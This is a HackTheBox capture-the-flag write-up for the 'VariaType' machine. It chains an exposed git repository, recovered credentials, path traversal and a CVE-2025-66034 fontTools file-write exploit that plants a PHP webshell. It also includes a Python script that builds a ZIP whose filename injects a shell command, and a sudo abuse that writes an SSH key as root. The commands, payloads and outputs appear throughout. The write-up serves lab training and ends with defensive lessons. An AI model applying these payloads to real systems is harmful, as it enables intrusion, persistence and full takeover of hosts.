HackTheBox: VariaType — Git History Leak, CVE-2025-66034 fontTools RCE & Sudo Privesc to Root
Introduction
Welcome back to another deep-dive walkthrough. Today we're tackling VariaType, a medium-difficulty Linux machine from HackTheBox. This one is a really satisfying chain that builds on itself at every step:
- Nmap to find SSH and an HTTP service redirecting to a virtual host
- ffuf subdomain brute-force to find
portal.variatype.htb - Exposed
.gitdirectory dumped withgit-dumper - Git history analysis to recover hardcoded credentials from a deleted commit
- Directory traversal in
download.phpto confirm LFI and read/etc/passwd - CVE-2025-66034 in
fontTools.varLibfor arbitrary file write and RCE - ZIP filename injection in a FontForge scheduled task to plant an SSH key as
steve - Misconfigured sudo rule on a Python script to write our key into
/root/.ssh/authorized_keys
Let's get into it.
1. Enumeration & Reconnaissance
Nmap Scan
Starting with an aggressive Nmap scan to identify services and OS fingerprints:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $sudo nmap -A 10.129.16.179
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-28 11:21 IST
Nmap scan report for 10.129.16.179
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Two open ports: 22 (SSH) on OpenSSH 9.2p1 Debian and 80 (HTTP) on nginx 1.22.1. The web service immediately redirects to variatype.htb, so we need to set up host resolution before we can interact with the application.
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH 9.2p1 — needs credentials |
| 80 | HTTP | nginx 1.22.1 — redirects to virtual host |
Host Resolution Setup
Add the main domain to /etc/hosts:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $echo "10.129.16.179 variatype.htb" | sudo tee -a /etc/hosts
10.129.16.179 variatype.htb
Subdomain Enumeration
With the main domain resolving, we use ffuf to brute-force virtual hosts and find any additional subdomains:
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $ffuf -u http://10.129.16.179/ \
-H "Host: FUZZ.variatype.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-fc 301 -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
:: Results ::
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 325ms]
Subdomain found: portal.variatype.htb. Add it to hosts:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $echo "10.129.16.179 portal.variatype.htb" | sudo tee -a /etc/hosts
10.129.16.179 portal.variatype.htb
2. Web Enumeration & Git Repository Exposure
Directory Brute-Force on the Portal
Now that portal.variatype.htb resolves, we fuzz for hidden paths:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ffuf -u http://portal.variatype.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 322ms]
.git/index [Status: 200, Size: 137, Words: 2, Lines: 2, Duration: 321ms]
.git/config [Status: 200, Size: 143, Words: 14, Lines: 9, Duration: 322ms]
.git/logs/ [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 322ms]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 1271ms]
files [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 296ms]
index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 307ms]
The .git directory is publicly accessible. This is a critical information disclosure — the full source code history could be retrievable.
Dumping the Exposed Repository
We use git-dumper to reconstruct the repository from the exposed files:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $git-dumper http://portal.variatype.htb/.git git-repo
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
...
[-] Fetching http://portal.variatype.htb/.git/objects/6f/021da6be7086f2595befaa025a83d1de99478b [200]
[-] Fetching http://portal.variatype.htb/.git/objects/50/30e791b764cb2a50fcb3e2279fea9737444870 [200]
[-] Running git checkout .
The repository is reconstructed locally. Let's look at what was dumped:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $ls -la
total 4
drwxrwxr-x 1 g4rxd g4rxd 24 Mar 28 11:45 .
drwx------ 1 g4rxd g4rxd 616 Mar 28 11:45 ..
-rw-rw-r-- 1 g4rxd g4rxd 36 Mar 28 11:45 auth.php
drwxrwxr-x 1 g4rxd g4rxd 146 Mar 28 11:45 .git
Just auth.php in the working tree. The current file shows an empty $USERS array — but that's the cleaned-up version. Time to dig into history.
3. Git History Analysis & Credential Recovery
Reviewing Commit History
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git log --oneline --all
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation
The most recent commit message says "fix: add gitbot user" — that's interesting. Let's also check for unreachable commits that may have been deleted:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git fsck --no-reflog --full --unreachable | grep commit
Checking object directories: 100% (256/256), done.
unreachable commit 6f021da6be7086f2595befaa025a83d1de99478b
There's an unreachable commit. This is exactly what git fsck is for — it finds orphaned objects that aren't reachable from any branch or tag. Let's see what's inside:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git show 6f021da6be7086f2595befaa025a83d1de99478b
commit 6f021da6be7086f2595befaa025a83d1de99478b
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:48 2025 -0500
security: remove hardcoded credentials
diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
<?php
session_start();
-$USERS = ['gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];
The developer tried to remove credentials but forgot that git history is immutable. We have credentials: gitbot : G1tB0t_Acc3ss_2025!
4. Authentication & Directory Traversal
Authenticating to the Portal
Using the recovered credentials to authenticate and grab a session cookie:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $curl -s -X POST http://portal.variatype.htb/ \
-d "username=gitbot" -d "password=G1tB0t_Acc3ss_2025!" \
-c cookies.txt -L
Extract the session cookie:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $cat cookies.txt
portal.variatype.htb FALSE / FALSE 0 PHPSESSID nh7d8gq972mofqe5om9ipf737r
Exploiting Directory Traversal in download.php
The portal has a download.php endpoint. Testing it with a path traversal payload:
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $curl -s -b "PHPSESSID=nh7d8gq972mofqe5om9ipf737r" \
"http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
We can read arbitrary files. We now have a valid user: steve on the system. While useful for reconnaissance, this LFI rabbit hole doesn't give us code execution — we need to look elsewhere.
5. Foothold: CVE-2025-66034 — fontTools Arbitrary File Write & RCE
The Vulnerability
Further enumeration reveals a variable font generator at http://variatype.htb/tools/variable-font-generator/process. This endpoint uses fontTools.varLib to process .designspace files — and it's vulnerable to CVE-2025-66034, an arbitrary file write flaw through XML injection in the CDATA section combined with an output_dir path bypass via os.path.join().
Exploit: CVE-2025-66034
I wrote a custom exploit that:
- Generates two minimal TTF master fonts
- Crafts a malicious
.designspacefile embedding a PHP webshell in a CDATA block - Sets the output path to an absolute web-accessible location — bypassing the
output_dirrestriction - Uploads everything and triggers the shell
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 exploit.py \
--ip 10.10.14.25 \
--port 4444 \
--upload http://variatype.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.variatype.htb/public/files \
--shell http://portal.variatype.htb/files
██╗ ██╗███╗ ██╗██╗ ██╗██╗ ██╗██████╗
██║ ██║████╗ ██║██║ ██║╚██╗██╔╝██╔══██╗
███████║██╔██╗██║██║ ██║ ╚███╔╝ ██║ ██║
╚════██║██║╚████║██║ ██║ ██╔██╗ ██║ ██║
██║██║ ╚███║╚██████╔╝██╔╝╚██╗██████╔╝
╚═╝╚═╝ ╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
by 4nuxd
CVE-2025-66034 · Arbitrary Upload → RCE
target http://variatype.htb/tools/variable-font-generator/process
webroot /var/www/portal.variatype.htb/public/files
shell http://portal.variatype.htb/files
GENERATING MASTER FONTS
[+] source-light.ttf (w=100)
[+] source-regular.ttf (w=400)
PAYLOAD
[*] Shell name : f0nt_pqfk1ypz.php
[*] Write path : /var/www/portal.variatype.htb/public/files/f0nt_pqfk1ypz.php
[*] Trigger URL : http://portal.variatype.htb/files/f0nt_pqfk1ypz.php
UPLOADING
[+] Server response: HTTP 200
LISTENER // TRIGGER
[*] Listening on 0.0.0.0:4444
[*] Triggering shell: http://portal.variatype.htb/files/f0nt_pqfk1ypz.php
Connection received on 10.129.244.202 56592
www-data@variatype:~/portal.variatype.htb/public/files$
We have a shell as www-data. Stabilise it:
www-data@variatype:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm; stty rows 66 cols 236
www-data@variatype:~/portal.variatype.htb/public/files$
6. Lateral Movement: ZIP Filename Injection to Plant SSH Key as steve
Generating an SSH Key Pair
Rather than work from an unstable web shell, we set up a proper SSH key for steve:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh-keygen -t ed25519 -f steve_key -N ""
Crafting the Malicious ZIP Archive
There's a scheduled task (likely FontForge) that processes ZIP archives uploaded to the portal. It unsafely passes the filename to a shell command. We embed our SSH public key injection directly inside the filename using command substitution:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $cat ok.py
import zipfile, os
pubkey = open("steve_key.pub").read().strip()
filename = f"$(mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 700 /home/steve/.ssh && chmod 600 /home/steve/.ssh/authorized_keys).ttf"
with zipfile.ZipFile("evil.zip", "w") as z:
z.writestr(filename, "AAAA")
print(f"[+] evil.zip created")
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 ok.py
[+] evil.zip created
[*] payload filename: $(mkdir -p /home/steve/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1...
Delivering the Payload
Serve the archive from our machine:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
10.129.244.202 - - [28/Mar/2026 13:45:14] "GET /evil.zip HTTP/1.1" 200 -
Fetch it from the web shell on the target:
www-data@variatype:~/portal.variatype.htb/public/files$ wget http://10.10.14.25:8000/evil.zip
evil.zip saved [598/598]
www-data@variatype:~/portal.variatype.htb/public/files$
With the ZIP placed in the web files directory, the scheduled task picks it up. The filename's embedded shell command fires during processing, writing our public key into /home/steve/.ssh/authorized_keys.
7. User Access & Flag Retrieval
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh -i steve_key steve@10.129.244.202
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
Last login: Sat Mar 28 04:24:25 2026 from 10.10.14.25
steve@variatype:~$ whoami
steve
steve@variatype:~$ cat user.txt
780f769dd2ce41e3ae17eb774a25e9cc
🏁 User Flag: 780f769dd2ce41e3ae17eb774a25e9cc
8. Privilege Escalation Enumeration
Check sudo permissions:
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass, use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
Steve can run a Python script as root with arbitrary arguments (the * wildcard). This script fetches a URL and writes the response to a file — the destination is derived from the URL path. That means we can control both the content and the destination path.
9. Privilege Escalation to Root
Generate a Root SSH Key
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Generating public/private rsa key pair.
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
SHA256:K0sn619/NeUCmGcIGU06rQoQGvgJU8g+bI4ezZoS3ek g4rxd@parrot
Host the Public Key via a Custom HTTP Server
The script fetches whatever URL is passed and writes the response to the path portion of the URL. We serve our RSA public key from a minimal HTTP server that returns the content regardless of the requested path:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $cat server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class MinimalHandler(BaseHTTPRequestHandler):
def do_GET(self):
with open("id_rsa.pub", "rb") as f:
content = f.read()
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(content)
print(f"[*] Served payload to {self.client_address[0]}")
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
print(f"[+] Server listening on port {port}...")
HTTPServer(('0.0.0.0', port), MinimalHandler).serve_forever()
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 server.py 8000
[+] Server listening on port 8000...
Exploit the Privileged Script
From the steve shell, invoke the sudo-permitted script with a URL where the path is /root/.ssh/authorized_keys. The script faithfully downloads our public key and writes it there as root:
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys"
2026-03-28 04:39:43,275 [INFO] Attempting to install plugin from: http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-28 04:39:43,280 [INFO] Downloading http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-28 04:39:43,832 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
Our server confirms the hit:
[*] Served payload to 10.129.244.202
SSH in as Root
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh -i id_rsa root@10.129.244.202
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
Last login: Sat Mar 28 04:39:57 2026 from 10.10.14.25
root@variatype:~# whoami
root
root@variatype:~# cat root.txt
[Redacted]
🏁 Root Flag: [Redacted]
Attack Chain Summary
Nmap Scan
↓
ffuf Subdomain Brute-Force → portal.variatype.htb
↓
ffuf Directory Scan → /.git exposed
↓
git-dumper → Reconstruct Repository
↓
git fsck → Unreachable Commit
↓
git show → Hardcoded Credentials (gitbot:G1tB0t_Acc3ss_2025!)
↓
Authenticate to Portal → Session Cookie
↓
Directory Traversal (download.php) → /etc/passwd → user: steve
↓
CVE-2025-66034 (fontTools varLib XML injection) → PHP Webshell Write
↓
Web Shell RCE as www-data
↓
Malicious ZIP (filename cmd injection) → SSH Key Planted as steve
↓
SSH as steve → user.txt
↓
sudo -l → NOPASSWD Python install_validator.py *
↓
Serve RSA Public Key → Script writes to /root/.ssh/authorized_keys
↓
SSH as root → root.txt
Summary & Takeaways
| Step | Technique | Tool |
|---|---|---|
| Recon | Aggressive Nmap scan | nmap |
| Subdomain Discovery | Virtual host fuzzing | ffuf |
| Info Disclosure | Exposed .git directory | git-dumper |
| Credential Recovery | Unreachable git commit | git fsck, git show |
| Authentication | Recovered portal credentials | curl |
| File Read | Directory traversal in download.php | curl |
| RCE | CVE-2025-66034 XML injection in fontTools | custom exploit |
| Lateral Movement | ZIP filename command injection | python3 |
| Privesc | Misconfigured sudo Python script | ssh-keygen, HTTP server |
VariaType is a clean demonstration of how a single exposed .git directory can unravel an entire application. The CVE-2025-66034 exploitation is interesting because it abuses os.path.join()'s behaviour with absolute paths — if the second argument is absolute, it silently discards everything before it, bypassing any output_dir restriction the server tries to enforce. The ZIP filename injection is a creative persistence technique, and the final sudo abuse is a good reminder to always restrict wildcards in sudo rules.
Key lessons:
- Never deploy with
.gitexposed — add/\.gitto your nginxdenyrules and confirm it in every environment before launch. - Git history is permanent — removing credentials with a new commit does not erase them from history. Use
git filter-repoor BFG Repo Cleaner and rotate the credentials immediately. - Wildcards in sudo rules are dangerous —
install_validator.py *gives the user full control over script arguments, which is enough to pivot to arbitrary file writes as root. - ZIP extraction is a code execution event — any service that processes ZIP files must sanitise filenames before passing them to a shell.
If you have questions or want to discuss the CVE-2025-66034 exploit technique in more detail, feel free to reach out on Twitter / X or hop into the interactive terminal on this site!
Machine Pwned. 🏁